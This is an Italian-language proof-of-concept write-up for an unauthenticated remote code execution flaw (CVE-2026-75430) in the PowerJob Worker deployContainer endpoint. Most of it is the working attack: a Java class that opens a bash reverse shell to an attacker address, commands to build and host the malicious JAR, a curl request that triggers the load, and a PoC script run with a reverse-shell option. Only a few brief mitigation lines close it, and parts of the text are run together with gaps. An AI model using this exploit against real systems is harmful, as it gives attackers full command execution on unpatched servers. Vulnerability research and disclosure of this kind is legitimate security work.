
Proof-of-concept exploit per CVE-2026-75430, che consente l'esecuzione remota di codice non autenticata su PowerJob Worker tramite il caricamento arbitrario di JAR attraverso l'endpoint deployContainer.
/worker/deployContainer (Caricamento Arbitrario di JAR)Il Worker di PowerJob espone l'handler deployContainer sulla propria porta di trasporto HTTP 27777 senza alcuna autenticazione. Un attaccante invia un URL arbitrario; il Worker scarica quel JAR e lo carica tramite URLClassLoader + Spring ClassPathXmlApplicationContext, eseguendo codice arbitrario durante l'init-method di Spring → RCE sul Worker. Il docker-compose predefinito pubblica questa porta sull'host.
Precondizione (dichiarazione onesta): il Worker deve essere in esecuzione (porta 27777 in ascolto). Nella configurazione predefinita, il Worker verifica all'avvio che la propria app sia registrata sul server (); (verificato: il processo Java termina con codice 1). Pertanto, uno stato strettamente "fresco" di senza configurazione della console non è direttamente sfruttabile. Tuttavia, (altrimenti il sistema non pianifica alcun job), quindi , dopodiché lo sfruttamento avviene senza credenziali. Al contrario, il risultato correlato PJ-08 (server ) non ha tale precondizione — il server si lega alla porta 10010 all'avvio incondizionatamente.
/server/assertdocker-compose up/friend/processpowerjob-worker, distribuito tramite l'immagine ufficiale powerjob-worker-samples)docker-compose.yml, protocollo HTTP, porta 27777 (PowerJobWorkerConfig.java:34)| Elemento | Valore |
|---|---|
| Punto di ingresso | POST http://<worker>:27777/worker/deployContainer |
| Handler | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), nessuna autenticazione) |
| Download | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Caricamento | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Corpo della richiesta ServerDeployContainerRequest (campi containerId/containerName/version/downloadURL).
WorkerActor si fida completamente di downloadURL.OmsContainerFactory scarica il JAR da un URL arbitrario e chiama immediatamente OmsJarContainer.init(): caricamento URLClassLoader + refresh() del contesto Spring → il codice dannoso viene eseguito durante l'inizializzazione della classe/Bean.Precondizione: il Worker è in esecuzione e la porta 27777 è in ascolto (soddisfatta da qualsiasi distribuzione di produzione/demo; se l'operatore ha seguito il flusso ufficiale e ha creato l'app di esempio, il Worker è online). Per la riproduzione, il Worker può essere avviato con --powerjob.worker.allow-lazy-connect-server=true per saltare il controllo di registrazione dell'app (non consigliato in produzione; si noti che l'opzione influisce solo sul fatto che il Worker vada online — non modifica l'assenza di autenticazione sulla porta aperta).
OmsJarContainer.init()):
oms-worker-container.properties con PACKAGE_NAME=com.evilcom/evil/Exploit.class — una classe che espone un init-method di Spring (es. run()) che esegue un comandooms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>POST /worker/deployContainer alla porta del Worker 27777 con il corpo {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}.OmsJarContainer.init(): OhMyClassLoader.load() carica la classe (non esegue gli inizializzatori statici), quindi ClassPathXmlApplicationContext.refresh() istanzia il bean e invoca l'init-method → esecuzione arbitraria di comandi (con i privilegi di runtime del Worker).AbstractScriptProcessor.java:118-123 supporta anche il download da un URL arbitrario → SSRF lato Worker.Nessun echo di output: l'handler
deployContainerrestituiscevoid, quindi la risposta HTTP non contiene l'output del comando (verificato: corpo vuoto). Per l'esecuzione interattiva di comandi la tecnica principale è una reverse shell (vedere Riproduzione di seguito); la variante con file marcatore è solo una verifica locale non interattiva.
Ambiente: JDK 21, powerjob-worker-samples-5.1.2.jar compilato dal sorgente, Worker in ascolto su 192.168.49.128:27777 (avviato con --powerjob.worker.allow-lazy-connect-server=true per saltare la registrazione dell'app).
Principale — reverse shell (esecuzione interattiva di comandi):
Il Exploit.run() del JAR dannoso (init-method di Spring) genera una reverse shell. Poiché non vi è alcun echo di output, questo è il modo efficace per ottenere l'esecuzione interattiva di comandi sull'host del Worker.
# 1) L'attaccante ascolta per primo:
nc -lvnp 7878
# 2) Costruzione del JAR dannoso — Exploit.run() esegue una reverse shell bash
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # ospita evil.jar
# 3) Attivazione (nessuna credenziale):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'

In alternativa, utilizzare lo script per la verifica: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
Punto chiave del PoC:
OhMyClassLoader.load()chiama sololoadClass(), che non esegue gli inizializzatori statici; il punto di esecuzione effettivo è l'init-method di Spring invocato daClassPathXmlApplicationContext.refresh(). Il JAR dannoso deve quindi contenere l'XML di Spring e dichiarareinit-method. La reverse shell deve essere eseguita tramite/bin/bash -cperché/bin/sh(dash) non interpreta/dev/tcp.
deployContainer venga attivato solo da un Server attendibile e validare la sorgente.downloadURL agli indirizzi interni attendibili; verificare l'hash/firma del JAR prima del caricamento.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 CriticoPowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)192.168.49.128:27777, nessuna credenziale → RCE sul Worker); vedere ## 6. RiproduzionePowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (auto-costruzione JAR + hosting + attivazione, --reverse-shell, -p/--proxy)SECURITY.md di PowerJob (Tidelift / [email protected] / GitHub Security Advisory)